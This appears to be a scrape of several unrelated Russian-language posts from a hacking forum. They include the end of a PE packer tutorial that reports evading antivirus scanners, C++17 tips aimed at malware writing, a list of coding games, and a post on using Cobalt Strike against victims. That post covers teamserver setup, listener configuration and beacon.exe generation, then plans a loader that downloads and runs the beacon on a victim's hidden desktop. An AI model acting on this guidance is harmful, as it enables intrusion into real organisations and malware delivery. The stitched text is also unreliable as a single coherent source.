DWORD data_size_sig = 0xEEFFAADD;
DWORD actual_data_size_sig = 0xA0B0C0D0;
DWORD header_size_sig = 0xF0E0D0A0;
DWORD data_ptr_offset = _find(unpacker_stub, sizeof unpacker_stub, data_ptr_sig);
DWORD data_size_offset = _find(unpacker_stub, sizeof unpacker_stub, data_size_sig);
DWORD actual_data_size_offset = _find(unpacker_stub, sizeof unpacker_stub, actual_data_size_sig);
DWORD header_size_offset = _find(unpacker_stub, sizeof unpacker_stub, header_size_sig);
...
// Update Code Section
printf("[Information] Updating Offset Data...\n");
memcpy(&unpacker_stub[data_ptr_offset], &d_sec.VirtualAddress, sizeof DWORD);
memcpy(&unpacker_stub[data_size_offset], &d_sec.SizeOfRawData, sizeof DWORD);
DWORD pe_file_actual_size = (DWORD)input_pe_file_buffer.size();
memcpy(&unpacker_stub[actual_data_size_offset], &pe_file_actual_size, sizeof DWORD);
memcpy(&unpacker_stub[header_size_offset], &nt_h.OptionalHeader.BaseOfCode, sizeof DWORD);
// Write Code Section
printf("[Information] Writing Code Data...\n");
current_pos = pe_writter.tellp();
pe_writter.write((char*)&unpacker_stub, sizeof unpacker_stub);
while (pe_writter.tellp() != current_pos + c_sec.SizeOfRawData) pe_writter.put(0x0);
// Write Data Section
printf("[Information] Writing Packed Data...\n");
current_pos = pe_writter.tellp();
pe_writter.write((char*)data_buffer.data(), data_buffer.size());
while (pe_writter.tellp() != current_pos + d_sec.SizeOfRawData) pe_writter.put(0x0);
// Write Export Section
if (et_buffer.size() != 0 && hasExports)
{
printf("[Information] Writing Export Table Data...\n");
current_pos = pe_writter.tellp();
pe_writter.write((char*)et_buffer.data(), et_buffer.size());
while (pe_writter.tellp() != current_pos + et_sec.SizeOfRawData) pe_writter.put(0x0);
}
// Close PE File
pe_writter.close();
Теперь наш упаковщик поддерживает и DLL-файлы!
05_pe_packer_tutorial_packer_chapter4_vs16_x64.zip
Упаковщик: Создаём информацию о Версии файла
Хорошо, это последняя часть статьи. Конечно, я могу сделать гораздо больше и добавить ещё больше возможностей, но думаю, что статья уже стала очень длинной. В этой части мы используем некоторую постобработку нашего итогового файла - добавим информацию о файле и иконку.
Вы можете использовать библиотеки с GitHub, я же использую свою собственную
библиотеку.
1. Ссылка на utilities\hmrclib64_vc16.lib , которая находится в zip-файле с
исходным кодом следующей части.
2. Добавьте определения функций в packer.cpp сразу после заголовков:
C++:Copy to clipboard
// PE Info Ediotr
void HMResKit_LoadPEFile(const char* peFile);
void HMResKit_SetFileInfo(const char* key, const char* value);
void HMResKit_SetPEVersion(const char* peFile);
void HMResKit_ChangeIcon(const char* iconPath);
void HMResKit_CommitChanges(const char* sectionName);
3. Добавьте информацию и иконку:
C++:Copy to clipboard
// Post-Process [ Add Information & Icon ]
printf("[Information] Adding File Information and Icon...\n");
HMResKit_LoadPEFile(output_pe_file);
HMResKit_SetFileInfo("ProductName", "Custom PE Packer");
HMResKit_SetFileInfo("CompanyName", "MemarDesign™ LLC.");
HMResKit_SetFileInfo("LegalTrademarks", "MemarDesign™ LLC.");
HMResKit_SetFileInfo("Comments", "Developed by Hamid.Memar");
HMResKit_SetFileInfo("FileDescription", "A PE File Packed by HMPacker");
HMResKit_SetFileInfo("ProductVersion", "1.0.0.1");
HMResKit_SetFileInfo("FileVersion", "1.0.0.1");
HMResKit_SetFileInfo("InternalName", "packed-pe-file");
HMResKit_SetFileInfo("OriginalFilename", "packed-pe-file");
HMResKit_SetFileInfo("LegalCopyright", "Copyright MemarDesign™ LLC. © 2021-2022");
HMResKit_SetFileInfo("PrivateBuild", "Packed PE");
HMResKit_SetFileInfo("SpecialBuild", "Packed PE");
HMResKit_SetPEVersion("1.0.0.1");
if (!isDLL) HMResKit_ChangeIcon("app.ico");
HMResKit_CommitChanges("[ H.M ]");
Здесь мы не рассматриваем извлечение иконки и информации о файле из исходного файла. Это легко делается, но так или иначе нам нужно распарсить секцию ресурсов. Я не хочу удлинять статью, поэтому будет достаточно одного примера. Ознакомьтесь с этой статьёй.
Click to expand...
06_pe_packer_tutorial_packer_chapter_final_vs16_x64.zip
Упаковщик: Дополнения + Советы по улучшению
Несколько советов и дополнений по улучшению упаковщика, которые вы можете использовать.
Совет 1: Обновление контрольной суммы
Последний шаг после всех наших действий - обновление контрольной суммы PE- файла, которая находится по адресу:
C++:Copy to clipboard
OptionalHeader.CheckSum = 0xFFFFFFFF;
Правильная контрольная сумма очень важна для получения лучших результатов при антивирусном сканировании. Вы можете ознакомиться с [этой](https://www.codeproject.com/Articles/19326/An-Analysis-of-the-Windows- PE-Checksum-Algorithm) статьёй как считается контрольная сумма для PE-файлов.
Совет 2: Добавление цифровой подписи
Наш упакованный файл не похож на созданный каким-нибудь общеизвестным компилятором, что может вызвать некоторые проблемы с антивирусами. Если это ваша программа, то её подпись поможет решить эту проблему. Получите сертификат и используйте signtool.exe.
Совет 3: Поддержка файла манифеста
Если хотите, вы можете клонировать файл манифеста для добавления дополнительно информации об упакованном файле, например, когда он требует привилегий администратора и т.п.
Вы должны распарсить каталог ресурсов и извлечь его оттуда.
Совет 4: Поддержка .Net
Для добавления поддержки .Net вы можете пойти сложным путем (манипулируя c .Net PE) или использовать нативный CLR-хостинг, который я рекомендую. Вы можете посмотреть мою [статью](https://www.codeproject.com/Articles/1236146/Protecting-NET-plus- Application-By-Cplusplus-Unman) о CLR-хостинге. Кстати, она старая и сейчас можно всё сделать намного лучше. Возможно, я напишу статью об этом, кто знает?
Упакуйте .Net-сборку в секцию данных и используйте CLR-хостинг в стабе распаковщика, чтобы загрузить её в памяти, также вы можете использовать [.Net Core Hosting](https://docs.microsoft.com/en-us/dotnet/core/tutorials/netcore- hosting).
Совет 5: Многократная упаковка
Преимущество нашего упаковщика в том, что он не изменяет структуру входного файла для создания упакованного, поэтому вы можете использовать любой другой упаковщик в качестве следующего уровня упаковки/защиты!
Да! Вы можете легко создать свою собственную систему защиты и сжатия, а затем использовать на ней известный упаковщик. Так что злоумышленник столкнётся с двумя фазами распаковки, что немного усложнит ему жизнь!
Еще одна интересная информация об упаковщике: вы можете упаковать уже упакованный PE-файл ещё раз, неограниченное количество раз снова и снова. И каждый раз менять ключ и вектор инициализации!
Совет 6: Более высокая степень сжатия
Не забывайте, что упаковщики могут уменьшать файлы только большого размера. Стаб распаковщика тоже занимает место. Например, если вы упаковываете 1KB DLL, то полученный файл будет больше исходного, но если вы упакуете 100MB DLL, то получите маленький упакованный файл с высокой степенью сжатия!
В любом случае, даже в этой ситуации вы можете использовать UPX на сжатом файле, чтобы "скрыть" наш код распаковки.
Заметка для настоящих безумцев: если вы хотите пойти дальше, то возьмите исходный код UPX и добавьте дополнительный уровень шифрования прямо в него!
Click to expand...
Совет 7: Виртуализация кода
Для улучшения безопасности вашего файла можно воспользоваться продуктами, которые предлагают виртуализацию кода. Если вы используете виртуальную машину в стабе распаковщика, то это очень затрудняет процесс обратной разработки.
Дополнительно: Релоки и нестандартные PE-файлы
Упаковщик нуждается в доработке, например, в части обработки релоков и экспорта non-ordinal функций. Настоятельно рекомендую не использовать упаковщик на нестандартных или подписанных PE-файлах, таких как d3dcompiler_47.dll.
Вы можете добавлять новые функции в упаковщик и закоммитить в HMPacker-репозиторий.
Дополнительно: Многоязыковые PE-файлы
Этот упаковщик не тестировался с многоязыковыми PE-файлами, однако теоретически он будет работать нормально. Не используйте его на PE-файлах без резервной копии. Чтобы добавить полнофункциональную многоязыковую поддержку, вам нужно будет сделать клонирование секции ресурсов.
Дополнительно: Испытание в реальных условиях на Marmoset Toolbag 3
Попробуем наш упаковщик на программе Marmoset Toolbag 3! Marmoset 3 имеет
четырк PE-файла:
1. toolbag.exe : главный исполняемый файл размером 19,763,288 байт
2. substance_linker.dll : библиотека, размер 378,368 байт
3. substance_sse2_blend.dll : ещё одна библиотека размером 958,976 байт
4. python36.dll : библиотека Python, размер 3,555,992 байт
Ок, теперь давайте попробуем на них наш упаковщик...
Code:Copy to clipboard
pack_marmoset.bat :
"%cd%\pe_packer.exe" "%cd%\toolbag.exe" "%cd%\toolbag_packed.exe"
"%cd%\pe_packer.exe" "%cd%\substance_sse2_blend.dll" "%cd%\substance_sse2_blend_packed.dll"
"%cd%\pe_packer.exe" "%cd%\substance_linker.dll" "%cd%\substance_linker_packed.dll"
"%cd%\pe_packer.exe" "%cd%\python36.dll" "%cd%\python36_packed.dll"
Результат:
Потрясающе! Наш упаковщик уменьшил размер toolbag.exe с 19,763,288 байт до
5,169,152 байт! Давайте проверим программу, чтобы узнать, работает она
правильно или нет...
Она работает идеально! Никаких сбоев, никакого падения производительности и очень чистый...
Дополнительно: Проверяем упакованный файл антивирусами
VirusTotal
Вот
проверка 67 AVs с помощью VirusTotal, только 2 AV обнаружили упакованный
toolbag в виде ложного срабатывания. Оно может быть исправлено добавлением
фейкового кода в поддельную секцию. Некоторые AV (особенно с ИИ, такие как
SecureAge APEX), отмечают любой PE-файл без понятного кода (а наш файл сильно
сжат и зашифрован) флагом, однако добавление произвольного C++-кода уберёт
этот флаг.
БУДЬТЕ МИЛЫМ. Этот трюк не работает на тех программах, которые содержат настоящий зловредный код. Будьте хорошим человеком и не используйте технику против других, это некрасиво.
Click to expand...
AntiScan
Вот проверка 26 AVs с
помощью AntiScan, ни один из них не обнаружил упакованный файл!
Дополнительно: взглянем поближе на упакованный файл
Прежде чем закончить статью, давайте рассмотрим с технической точки зрения файл, сжатый нашим упаковщиком.
- Ни один из популярных детекторов не распознал упакованный файл:
- Наш файл состоит из нестандартных имён секций, без таблицы импорта и не
имеет зависимостей:
- Энтропия 99% и это означает, что он сильно упакован.
- Файл всего лишь на ~12.5 мегабайт потребляет больше памяти, по сравнению с
исходным:
---
Автор статьи - The Ænema. Оригинал тут -
<https://www.codeproject.com/Articles/5317556/Creating-Your-Very-Own-x64-PE-
Packer-Protector-fro>
Переведено специально для xss.is.
В студии давно появился флаг "/ std:c++17" и недавно "/std:c++20 ", о
котором я расскажу в следующей статье, каждый из этих стандартов привнес много
новшеств в язык и стандартную библиотеку, которыми не все пользуются, особенно
при создании малвари, потому что они тянут исключения, CRT.
Однако есть полезные и удобные фичи, которые позволяют быстрее и удобнее
писать многие вещи и они не тянут исключения и CRT.
Оглавление:
1. constexpr
Constexpr был добавлен еще в C++11 и все его знают благодаря xorstr и другим
библиотекам, которые позволяют в compile-time хоть как-то обфусцировать
строки, однако теперь можно писать if constexpr (expression) чтобы
использовать условные операторы в compile-time.
if constexpr можно использовать в compile-time алгоритмах, а также при проверках типов, например так:
C++:Copy to clipboard
template <typename T>
constexpr auto GetPointer(const T& t) {
if constexpr (std::is_pointer_v<T>) // std::is_pointer_v<T> - compile-time функция и не тянет CRT, находится в <type_traits>
return t;
else
return &t;
}
В этой статье я привел примеры compile-time crc32, вычисления чисел фибоначчи и как можно работать со string_view.
Была добавлена возможность использовать constexpr лямбда-функции, если они удовлетворяют требованиям constexpr функций.
C++:Copy to clipboard
int main(int argc, char* argv[])
{
constexpr auto Kylobytes = [](int n) -> int {
return n * 1024;
};
constexpr auto kb_1024 = Kylobytes(1024);
return kb_1024;
}
2. string_view
Данный контейнер является constexpr и не тянет за собой CRT, но может, если
хотите перестраховаться, то нужно брать чужую реализацию, либо писать свою на
основе чужой, благо исходного кода STL предостаточно.
Данный контейнер не владеет строкой, а принимает char-образные данные, обычно
хранит только указатель на начало строки и размер.
Плюсом является доступ к таким функциям-членам как:
operator[](),
at(),
front(), back(), data(), size(), empty(), swap(), substr(), compare(), find(),
rfind(), все из которых constexpr.
C++:Copy to clipboard
int main(int argc, char* argv[])
{
using namespace std::literals;
auto temp_str_view = "some data yopta"sv; // литерал 'sv' находящийся в std::literals позволяет писать так, иначе всегда будет необходимо явно указывать тип переменной как std::string_view
if (!temp_str_view.empty())
return temp_str_view[7];
return -1;
}
3. Structure binding
Очень простая и удобная фича, которая позволяет писать более читаемый код:
C++:Copy to clipboard
typedef struct {
std::string_view name;
int age;
float balance_rub;
float balance_btc;
void* optional;
size_t szOptional;
} UserInfo;
UserInfo GetUserDataFromAnywhere(size_t uid = 1)
{
// searching user...
return {"Kojima", 45, 0.f, 152.25f, nullptr, 0};
}
int main(int argc, char* argv[])
{
auto [name, age, nRub, nBtc, opt, szOpt] = GetUserDataFromAnywhere(); // structure binding
// Теперь мы можем использовать имена name, age и другие
// Важно использовать все поля структуры, иначе будет ошибка компиляции
return age;
}
4. Deduction guides
В большинстве случаев они генерируются неявно и позволяют писать следующий
код:
C++:Copy to clipboard
template <typename T1, typename T2>
struct MyPair {
T1 first;
T2 second;
MyPair(const T1& t1, const T2& t2) {
first = t1;
second = t2;
}
~MyPair() = default;
};
int main(int argc, char* argv[])
{
auto p1 = MyPair(543.5f, "string"sv); // C++17, в С++14 пришлось бы написать MyPair<float, const char*>(...)
}
Однако можно писать и собственные deduction guides для создания объектов, например:
C++:Copy to clipboard
template <typename T1>
MyPair(T1, const char*) -> MyPair<T1, std::string_view>;
template <typename T2>
MyPair(const char*, T2) -> MyPair<std::string_view, T2>;
Данный код делает так, чтобы MyPair(543.5f, "string") хранилась как MyPair<float, std::string_view>(543.5f, "string"), а не как MyPair<float, const char*>(543.5f, "string").
5. Fold Expressions
Позволяет использовать следующие операции с паками параметров: + - * / % ^ & | = < > << >> += -= *= /= %= ^= &= |= <<= >>= == != <= >= && || , .* ->*
C++:Copy to clipboard
template<typename... Args>
constexpr int sum(Args&&... args) {
return (args + ... );
}
template<typename... Args>
constexpr bool isEverythingGood(Args&&... args) {
return (... && args);
}
int main(int argc, char* argv[])
{
constexpr int summa = sum(1, 2, 3, 4, 5, 6, 7, 8, 9, 10);
constexpr bool isGood = isEverythingGood(true, true, false, true, true, true);
return isGood;
}
Это лишь малая часть нововведений в С++17, однако именно их можно использовать при написании софта, если вам требуется отключить SDL, exceptions, CRT и прочий мусор.
Я отобрал 21 самый интересный сайт, обучающий программированию во время игры,
более чем из 200 подобных проектов.
Эта подборка включает бесплатные игры, которые созданы не только для новичков,
но и для профессиональных разработчиков
Можно освоить такие языки как JavaScript, Java, Python, PHP, C# и многие
другие современные языки.
CodinGame
На CodinGame с помощью написания кода и создания собственного «искусственного
интеллекта» вам предстоит решить самые разнообразные и весёлые проблемы. Сайт
поддерживает все языки программирования.
CodeCombat
CodeCombat — это платформа для студентов и школьников, позволяющая изучить
компьютерные науки, играя в настоящие игры.
Красочная анимация и интересный сюжет, кланы, взаимодействие с тысячами других
игроков по всему миру — вот что вам предстоит увидеть.
Поддерживаются такие языки, как Java, JavaScript, Python, Lua, CoffeeScript.
Имеется русская локализация.
RubyWarrior
Если вы хотите изучить Ruby, то Ruby Warrior — то, что вам нужно. Есть два
уровня сложности, соответствующих вашим навыкам. Для сохранения своего
прогресса придётся залогиниться через Facebook.
CheckiO
Check iO — это браузерная игра в жанре «Приключение», которая научит вас
программировать на Python.
CodeHunt
В игре Code Hunt вы, охотник за кодом, исправляете код, чтобы он возвращал
нужный результат. Для прохождения доступны 14 уровней, в каждом из которых
есть по несколько заданий. Игра подойдёт тем, кто хочет изучить Java или C#.
VimAdventures
Давно хотели собраться с силами и выучить Vim полностью?
Игра Vim Adventures поможет сделать это в наиболее весёлой и интерактивной
форме.
Robocode
Любите битвы роботов? Тогда игра Robocode для вас. Вы научитесь
программировать путём создания боевых роботов-танков на Java или .NET. Когда
вы создадите робота, на экране в реальном времени начнётся битва.
CyberDoJo
Cyber Dojo — это пространство, где разработчики могут собираться вместе и
изучать такие языки программирования, как JavaScript, Java, Python, PHP, Ruby
и многие другие.
Репозиторий проекта на GitHub.
FightCode
Цель FightCode довольно проста: создайте робота, который победит роботов
других игроков.
Как создать робота? Напишите его на JavaScript. Например, вы можете
использовать метод .rotateCannon() для поворота пушки робота на определённую
величину, когда происходит какое-то событие. Прежде чем создавать своего
робота, стоит прочитать документацию.
CodeMonkey
В этой игре вы научитесь не только кодить, но и ловить бананы!
На западе учителя часто используют Code Monkey для уроков программирования у
детей. Обучают программировать на CoffeScript и Python.
ElevatorSaga
В Elevator Saga вам предстоит управлять настоящим лифтом с помощью JavaScript,
разгадывая различные задачки.
Например, первое задание — доставить лифтом 15 человек меньше чем за 60
секунд.
Ссылка на Open Source репозиторий.
Codewars
Улучшайте свои навыки программирования совместно с другими людьми через
решение реальных IT-проблем и задач на Codewars.
Поддерживает JavaScript, C#, Java, Python и другие языки.
GitGame
Git Game — консольная игра, пройдя которую вы полностью овладеете этой
системой контроля версий. Суть игры заключается в использовании различных
команд, чтобы найти подсказки для решения разных загадок.
Hacker
На Hacker.org вы найдете набор пазлов, тестов, викторин и головоломок, которые
потребуют всех ваших хакерских навыков.
К концу игры вы даже научитесь взламывать настоящее шифрование!
HexInvaders
В этой версии классической аркады на мир нападают три инопланетянина разных
цветов. Для того чтобы спасти человечество, игрок должен быстро переводить
шестнадцатеричное значение цвета на человеческий язык и сбивать пришельцев.
Flexbox Froggy
Логическая игра, в которой вы должны помочь цветным лягушкам добраться до их
любимых кувшинок. Делать это вам нужно будет при помощи CSS Flexbox, что очень
поможет развить навыки вёрстки. Подсказки покажут, как лучше решить каждую
задачу, но финальное решение остаётся за вами — способов решения всегда
несколько.
Pixactly
Pixactly — это простая по виду, но не по содержанию игра. Вам даётся
местоположение двух пикселей, а вы должны нарисовать по этим координатам
прямоугольник.
CSSDiner
Отличная игра для знакомства с CSS-селекторами. Игроку даётся стол с посудой,
заданный анимированной HTML-формой, и конкретный предмет или предметы, которые
нужно взять со стола. Изучено будет всё, от основ до ~ и :first-child.
Flexbox Defense
Классический «tower defense» со вкусом CSS — все башни и ловушки нужно
размещать при помощи гибкой вёрстки. Игра состоит из 12 уровней, которые
потребуют от вас вспомнить все тонкости системы Flexbox.
Untrusted
Untrusted — это мета-JavaScript-адвенчура, в которой вы играете за персонажа
по имени Dr. Eval — символ @, который может изменять окружающий мир,
модифицируя его исходный код (ух, прям Матрица ? ). Игроку предоставляются
функции, инициализирующие каждый уровень, и API, с помощью которого нужно
прокладывать путь к выходу из уровня.
Dungeons Developers
Дерево магических навыков, но магия эта — не льда и огня, а веб-разработки.
Отмечайте свои знания CSS, HTML и JavaScript и следите за продвижением к
званию Мастера.
Всем привет, есть простая программа(C LANG) в которой нужно ввести пароль,
пароль содержится в переменной например:
int pass = 31112222;
Но человек может просто открыть экзешник в IDA и найти пароль, ввести и войти
в программу без пароля.
Как зашифровать данные в переменной? так чтобы пароль нельзя было найти в IDA?
Заранее спасибо!
В этой статье вы можете найти отсылки к старым конкурсным статьям и к нынешним, данная статья не претендует на первенство, или то что она технически грамотная, по этому и не учавствует в конкурсе, и создана что бы разбавить хоть как то затишье и подтолкнуть кого то к активному написанию чего то новенького, ведь до конца конкурса осталось очень мало времени, а летняя жара не только размягчает мозги, но и подталкивает к лени.
1) Зачастую в атаке на сеть мы имеем в своём распоряжении данные учетных
записей от дедиков.
Добытых начиная от брута и заканчивая уязвимостями серверного ПО, на форуме я
нашел несколько статей которые расскажут вам как добывать доступы:
[/threads/53157/] Крутая нынешняя статья к конкурсу с тем, как находить уязвимые сервера через уязвимость в Microsoft Exchange и заполучать к ним доступы, автор очень постарался и раскрыл не только детали, но и поделился наработкой в виде скрипта, это очень круто побольше бы таких статей, почему то в этом конкурсе она всего одна...
[/threads/43115/] Еще круче было и ранее в конкурсах, в статье по уязвимости BlueKeep автор от и до показал вам как без вложений, стать флибустьером. Не ограничивал себя, и рассказал как настроить и установить мету, рабочее окружение, прояснил основы работы со сканнером для поиска уязвимых серверов и это очень крутой материал, на примере которого вы так же в будущем сможете воспользоваться знаниями из статьи, даже если уязвимость прикроют
[/threads/38004/] Так же в предыдущем конкурсе, мы могли познакомиться и с еще одной очень крутой статьей про уязвимости в Pulse Secure. Он показал, как с помощью шодана получить уязвимые адреса панелей, как с помощью абсолютно публичного сплоита прорвать защиту и получить креды. Не менее результативная чем статьи выше! А также тот же самый автор снял видосы и напиал статью в которых он показал на личном примере как ломается сеть без всяких Кобальт Страйков, вручную, на живой сети.
[/threads/38500/] По-моему, это и должно было быть в нынешнем конкурсе и принести приз победителю! Ведь это по сути и есть настоящая работа, от которой вас стараются увести в неправильном направлении, рассказами о том, что нужно учится смотря покупные курсы, бесконечные веб-семинары по пинтестингу, где большая часть это просто слайды и рожа унылого лектора, а не на практике.
**2) Хотя все может быть. И у вас есть просто купленный доступ, и нередко эти доступы вообще лежат без дела у многих людей, потому что они не смогли повысить свои привилегии в системе и раздают знакомым эти доступы совершенно бесплатно.
[/threads/53138/]** Что бы помочь таким страдальцам (а с повышением вы будете страдать часто и очень много) в нынешнем конкурсе автор написал очень крутую статью, в которой он рассказывает как найти уязвимость в системе вручную, и повысится за счет ошибок в самой виндовс при взаимодействии с уязвимым софтом, ведь кобальт страйк – вам в этом не помощник, а просто обычный ратник, а человеческий ум, старания всегда способны подобрать ключ к любой системе, если действительно вникнуть в статью, вы найдете для себя очень много полезного.
3) Очень редко встречал доступы, которые получали люди в результате спам- рассылки, но думаю то, что их перепродавать тяжелее, потому что все-таки используется софт, который запускается на машине человека, открывшего письмо. Софт обычно очень интересный, ведь главная задача не только обойти почтовые фильтры, но и позволить оператору скрытно работать на машине, при рабочей сессии юзера, а также закрепиться на машине - намертво.
Такой софт, например, как у хакерской группировки Карбанак, которая работала по банкам, и была уже давно схвачена. В результате утечки мы имеем исходные коды их творения Можно поиграться с их исходниками и посмотреть, что в них есть интересного [<https://github.com/Aekras1a/Updated-Carbanak-Source-with- Plugins>]. Можно почитать обзор [/threads/30861/] с подробным разбором техник и приемов. Конечно этот софт имеет детекты как новогодняя елка. А кто их не имеет?
Этот софт выгодно отличается именно своей уникальностью от CobaltStrike и Meterpreter, которые у всех на слуху и лежат, как и тысячи других ратников на форумах, репозиториях. Эти софты общедоступны и ничего плохого в них нет. И созданы именно для пентестеров, которые работают по контракту с компаниями, и договариваются заранее с корпами, что бы их софт был добавлен в исключения антивирусных решений. Очень этим софтам мешают именно их детекты, именно то что они изначально настроены на то что бы палиться всеми антивирусами – справится с этой несправедливостью нам поможет пользователь с его статьей по чистке кобальта – [/threads/51076/]. Очень интересно. И как видно он большой фанат этого софта, и все что я говорил ранее про кобальт – он может с легкостью опровергнуть.
Для получения сессии с подопытной машины я буду использовать кобальт страйк,
давайте разберемся в его установке и настройке.
Начну пожалуй с того что мало кто новичку рассказывает как вообще запускать
кобальт, как работает его инфраструктура. В установочном пакете (архиве,
кряке? я не знаю как это назвать) есть две основные программы это клиент -
cobaltstrike.jar и сервер - teamserver (точнее это sh скрипт который
раннит cobaltstrike.jar он жеж самый только с ключами что это будет сервер,
но что бы не запутать вас будем думать что его зовут teamserver). Написан софт
на яве, и в кали линукс нужная версия уже установленна, кали линукс у меня
будет для клиентской части - запускаться cobaltstrike , а на серверной
у немя ubuntu и запускаться на ней будет - teamserver. В качестве
сервера я использую самый дешевый vps который продается за крипту.
Нужно объяснить как работают все ратники: Абсолютно все ратники работают через публичный ip адресс. Те если вы запустите у себя на компьютере сервер
После покупки VPS (обязательно в рамках этой статьи на ubuntu) вам выдается ssh логин и пароль, а так же ip адресс по которому вы будете подключаться. Как передавать архивы через ssh, логиниться и отдавать команды я упущу потому что это темы не касается и хорошо документировано в сети и без меня. Кратко пробегусь по установке необходимых зависимостей... Для работы teamserver - ему нужна ява - установим ее так:
Code:Copy to clipboard
apt update
apt-get install openjdk-11-jdk
update-java-alternatives -s java-1.11.0-openjdk-amd64
Закидываю все файлы из архива кобальта. Выставляю права на запуск скрипту (это делать один раз) teamserver:
Code:Copy to clipboard
chmod +x teamserver
И запускаю teamserver
Code:Copy to clipboard
./teamserver 2.111.111.111 password
Где 2.111.111.111 - это публичный ip адресс нашего сервера на убунту
Аpassword придуманный нами любой пароль для подключения нашего клиента
Кобальта
Давайте подключимся к серверу через клиент, для запуска клиента кобальта я обычно использую ярлык, создайте обычный файл в вашей Кали, задайте ему название с раширением CobaltStrike.desktop откройте в любом блокноте и вставте код, с сохранинием путей до папки с вашим кобальтом для параметров Path и Icon
Code:Copy to clipboard
[Desktop Entry]
Version=1.0
Type=Application
Name=CobaltStrike
Comment=
Exec=java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -javaagent:hook.jar -jar cobaltstrike.jar
Icon=/home/kali/Cobalt Strike/icon.jpg
Path=/home/kali/Cobalt Strike
Terminal=false
StartupNotify=false
Теперь если вы все правильно сделали с помощью клика мышки можно быстро
запустить клиент, и начать процедуру подключения к вашему серверу.
Откроется окно:
Введите в Host 2.111.111.111 - ваш публичный ip адресс сервера
В пассворд - ваш пароль который вы придумали для запуска teamserver
Нажмите "коннект " и вы подключитесь к серверу, все должно начать
выглядеть так:
Самое первое что мы должны будем сделать это настроить прослушиватели (мини-
сервера, которые слушают входящие подключения на определенном порту),
"listener " как они называются в кобальт, они различаются протоколами
подключения наших жертв к нашему серверу. Какой то работает по HTTPS, какой то
по DNS, каждый из протоколов обладает своими плюсами и преднозначен для разных
целей.
Выберете в панели меню справа вверху CobaltStrike - > Listeners
Внизу вы увидете открывшийся таб, в котором есть кнопка "Add ", когда вы
на нее нажмете откроется окно в котором вы можете выбрать интересующий вас
протокол, по которому будет общаться сервер и жертва.
Выберете для начала - HTTP или HTTPS протокол. Выставьте порт в соотвествии с
вашим предпочтением, если нужно введите Host - ваш серверный ip. Придумайте
имя и нажмите "Save "
Теперь перейдем ко второй важной части - а именно генерации полезной нагрузки
В верхнем меню выберете **Attacks - > Packages. **Если вы можете закриптовать
экзешник, то выбирайте Windows Executable (S) - это более полный, не
подгружающий ни откуда дополнительных частей бинарный файл, обычный Windows
Executable - весит примерно 15 кб, а полный будет весить примерно 300 кб. Те
если у тебя получилось запустить Кобу на машине чувака, то еще не значит что
все остальные действия на машине его ты сможешь провести так же незаметно,
потому что так или иначе для некоторых своих функций - кобальт будет дропать
на диск различные дллки, например для подключения по vnc - и тут конечно -
тебя обязательно обнаружит даже самый захудалый антивирус.
В самом начале цепочки атаки ведь напомню у нас нет админских прав, и антивирус включен, выключить у тебя в любом случае его не получится, если не найти возможности к повышению.
Давайте поучимся на этом экзешнике для начала. А потом перейдем к созданию
чего то более интересного.
после выбора Windows Executable (S) откроется новое окно. В Output пусть
будет Windows EXE. Напротив Listener - нажмите кнопку с троеточием и
выбирете ваш созданный в предыдущем шаге Listener
После нажатия кнопки Generate вас попросят сохранить файл beacon.exe. Это
и будет наш вирус. С ним возможна только криптовка, ибо он извините палится, и
просто так его не почистить. Хотя в отличии от меня есть как я выше писал
реальные чуваки, у которых это выходит на 5+. Я лично воспользуюсь бесплатными
для меня услугами моего друга... Извиняюсь за свои лайфхаки.
Теперь когда у меня все хорошо - можно и получить сессию какой нибудь конторы. Давайте попробуем!
Прилетела сессия, и первым делом нам думаю нужно выставить таймер-задержку,
через которую у нас будут выполняться команды. Я ставлю ее очень маленькой, по
причине того что по дефолту у нас всегда стоит 60 секунд. Кликаем правой
кнопкой мыши на строку с сессией, в выпадающем контекстном меню выбираем
Session -> Sleep и выставляем в открывшемся окне 10 секунд, нажимаем
сохранить. Через минуту сессия начнет работать с 10 секундной задеркой. Мы
съэкономили 50 секунд в минуте. Поздравляю лол!
Все выше было жутким пабликом и к теме статьи не имеет никакого отношения
вообще. (Если не нравится статья, то не пишите пожалуйста плохих
комментариев, а то я разрыдаюсь :3)
Цитата от Хоблина Пушкова:
Хейтеров прошу негатив писать только с ссылкой на их материал, так же хочу
пояснить, что именно такого материала и в таком корявом изложении я не
видел,тема не будет актуальна для начинающих и среднего уровня ребятам,
если только у вас тяжелое психическое заболевание, тогда го!
Это просто желание автора, рассказать вам, как ему нравится софт которым вы можете пользоваться прямо сейчас, если вам предлогают этому обучаться за деньги тоже не ведитесь. Дальше просто покапайтесь в менюшке, посмотрите что там к чему, изначально получается что функционал максимально скуден, но его можно расширять за счет различных скриптов. Мы же займемся чуть чуть другим
Как было заявлено - давайте постараемся создать какую нибудь малварку которая будет не только скрыто доставлять наш бинарник кобальта, но и абсолютно незаметно открывать даже любые графические приложения на машине жертвы.
Цитата от Хоблина Пушкова:
Когда мы уже взрослые, понимаем что к чему, тогда мы обычно используем NC или
не используем, но это не важно.
Давайте придумаем какой нибудь лоадер, именно что бы он загружал наш бинарник
и запускал его на машине жертвенного агнеца.
Если у вас установлена 2019 студия, то это хорошо, если не установлена - то
плохо. Если стоит какая то другая идеешка и вы ей усердно пользуетесь, то что
вы забыли тут:? Мы вообще для загрузки будем использовать URLDownloadToFileA
(а чего вы хотели ведь статья не про загрузку файла, юзайте что любите
WinInet, WinHttp, libCurl) И шИфРоВаТь строки xor как настоящие ДеФчЕнКи ?.
Если вам невыносимо плохо - немедленно выкиньте системный блок в окно, и
забудьте статью как страшный сон.
Если вы еще не вышли вслед за системным блоком...
Вы должны понять что так или иначе изучение программирования, или хотя бы
минимальные знания о том как собрать проект нам жизненно необходимы, тысячи
профессий, сейчас требуют знания хотя бы петухона или богоподобного php для
того что бы быть рабочей лошадкой, при работе на жадного дядю. Сейчас такое
время, что все еще не усложнилось максимально для входа, да и мы находимся на
ресурсе, на котором можно задавать любые вопросы касательно абсолютно любой
тематики.
Прежде всего по техническим характеристикам лоадера, и что он будет выполнять. Напишу его на С++ что бы не считать хеши вручную, и криптовать строки так же на лету. Будет запускать КобальтСтрайк или Тимвувер (в качестве эксперемента) последней версии на скрытом рабочем столе, что это нам даст? Хрен его знает, что это нам даст если у вас нет фантазии, но для нормальных анонимусов это место для любой самой дарк фантазии. Пригодится всегда я думаю.
А если не пригодится то - вы всегда можете излить душу в комментариях, а вас послушаю и извинюсь.
